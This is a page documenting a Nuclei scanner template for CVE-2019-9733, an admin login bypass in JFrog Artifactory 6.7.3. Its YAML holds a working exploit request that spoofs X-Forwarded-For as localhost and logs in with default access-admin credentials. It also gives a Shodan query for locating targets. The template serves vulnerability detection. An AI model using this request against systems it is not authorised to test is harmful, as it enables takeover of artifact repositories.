JFrog Artifactory 6.7.3 - Admin Login Bypass
ID: CVE-2019-9733
Severity: critical
Author: akshansh
Tags: cve,cve2019,packetstorm,artifactory,login,jfrog
Description
Section titled “Description”JFrog Artifactory 6.7.3 is vulnerable to an admin login bypass issue because by default the access-admin account is used to reset the password of the admin account. While this is only allowable from a connection directly from localhost, providing an X-Forwarded-For HTTP header to the request allows an unauthenticated user to login with the default credentials of the access-admin account while bypassing the whitelist of allowed IP addresses. The access-admin account can use Artifactory’s API to request authentication tokens for all users including the admin account and, in turn, assume full control of all artifacts and repositories managed by Artifactory.
YAML Source
Section titled “YAML Source”id: CVE-2019-9733
info: name: JFrog Artifactory 6.7.3 - Admin Login Bypass author: akshansh severity: critical description: JFrog Artifactory 6.7.3 is vulnerable to an admin login bypass issue because by default the access-admin account is used to reset the password of the admin account. While this is only allowable from a connection directly from localhost, providing an X-Forwarded-For HTTP header to the request allows an unauthenticated user to login with the default credentials of the access-admin account while bypassing the whitelist of allowed IP addresses. The access-admin account can use Artifactory's API to request authentication tokens for all users including the admin account and, in turn, assume full control of all artifacts and repositories managed by Artifactory. impact: | Successful exploitation allows unauthorized access to the admin panel. remediation: | Upgrade to a patched version of JFrog Artifactory or apply the necessary security patches. reference: - http://packetstormsecurity.com/files/152172/JFrog-Artifactory-Administrator-Authentication-Bypass.html - https://www.ciphertechs.com/jfrog-artifactory-advisory/ - https://www.jfrog.com/confluence/display/RTF/Release+Notes#ReleaseNotes-Artifactory6.8.6 - https://nvd.nist.gov/vuln/detail/CVE-2019-9733 - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-9733 epss-score: 0.85254 epss-percentile: 0.98535 cpe: cpe:2.3:a:jfrog:artifactory:6.7.3:*:*:*:*:*:*:* metadata: max-request: 1 vendor: jfrog product: artifactory shodan-query: cpe:"cpe:2.3:a:jfrog:artifactory" tags: cve,cve2019,packetstorm,artifactory,login,jfrog
http: - raw: - | POST /artifactory/ui/auth/login?_spring_security_remember_me=false HTTP/1.1 Host: {{Hostname}} Accept: application/json, text/plain, */* X-Requested-With: artUI X-Forwarded-For: 127.0.0.1 Request-Agent: artifactoryUI Content-Type: application/json Origin: {{BaseURL}} Referer: {{BaseURL}}/artifactory/webapp/
{"user":"access-admin","password":"password","type":"login"}
matchers-condition: and matchers: - type: word part: body words: - '"username": "access-admin"'
- type: status status: - 200# digest: 4a0a0047304502210092a156487e7425d320ef7aaabf841db313d1dc2aa504bc961d24839495e76f8402201c91117e953b3bc9a8d694516451293b372229e3af01b29cf72332dd739aa137:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-9733.yaml"